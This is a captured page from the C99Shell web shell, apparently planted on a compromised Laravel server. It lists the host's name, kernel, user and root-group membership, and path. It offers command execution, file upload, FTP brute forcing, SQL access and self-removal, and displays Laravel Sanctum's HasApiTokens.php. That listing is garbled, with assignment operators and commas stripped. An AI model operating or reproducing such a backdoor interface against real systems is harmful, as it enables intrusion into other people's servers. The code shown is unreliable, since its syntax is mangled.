!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/laravel/sanctum/src/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasApiTokens.php (2.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Sanctum;

use 
DateTimeInterface;
use 
Illuminate\Support\Str;

trait 
HasApiTokens
{
    
/**
     * The access token the user is using for the current request.
     *
     * @var \Laravel\Sanctum\Contracts\HasAbilities
     */
    
protected $accessToken;

    
/**
     * Get the access tokens that belong to model.
     *
     * @return \Illuminate\Database\Eloquent\Relations\MorphMany
     */
    
public function tokens()
    {
        return 
$this->morphMany(Sanctum::$personalAccessTokenModel'tokenable');
    }

    
/**
     * Determine if the current API token has a given scope.
     *
     * @param  string  $ability
     * @return bool
     */
    
public function tokenCan(string $ability)
    {
        return 
$this->accessToken && $this->accessToken->can($ability);
    }

    
/**
     * Create a new personal access token for the user.
     *
     * @param  string  $name
     * @param  array  $abilities
     * @param  \DateTimeInterface|null  $expiresAt
     * @return \Laravel\Sanctum\NewAccessToken
     */
    
public function createToken(string $name, array $abilities = ['*'], DateTimeInterface $expiresAt null)
    {
        
$plainTextToken $this->generateTokenString();

        
$token $this->tokens()->create([
            
'name' => $name,
            
'token' => hash('sha256'$plainTextToken),
            
'abilities' => $abilities,
            
'expires_at' => $expiresAt,
        ]);

        return new 
NewAccessToken($token$token->getKey().'|'.$plainTextToken);
    }

    
/**
     * Generate the token string.
     *
     * @return string
     */
    
public function generateTokenString()
    {
        return 
sprintf(
            
'%s%s%s',
            
config('sanctum.token_prefix'''),
            
$tokenEntropy Str::random(40),
            
hash('crc32b'$tokenEntropy)
        );
    }

    
/**
     * Get the access token currently associated with the user.
     *
     * @return \Laravel\Sanctum\Contracts\HasAbilities
     */
    
public function currentAccessToken()
    {
        return 
$this->accessToken;
    }

    
/**
     * Set the current access token for the user.
     *
     * @param  \Laravel\Sanctum\Contracts\HasAbilities  $accessToken
     * @return $this
     */
    
public function withAccessToken($accessToken)
    {
        
$this->accessToken $accessToken;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--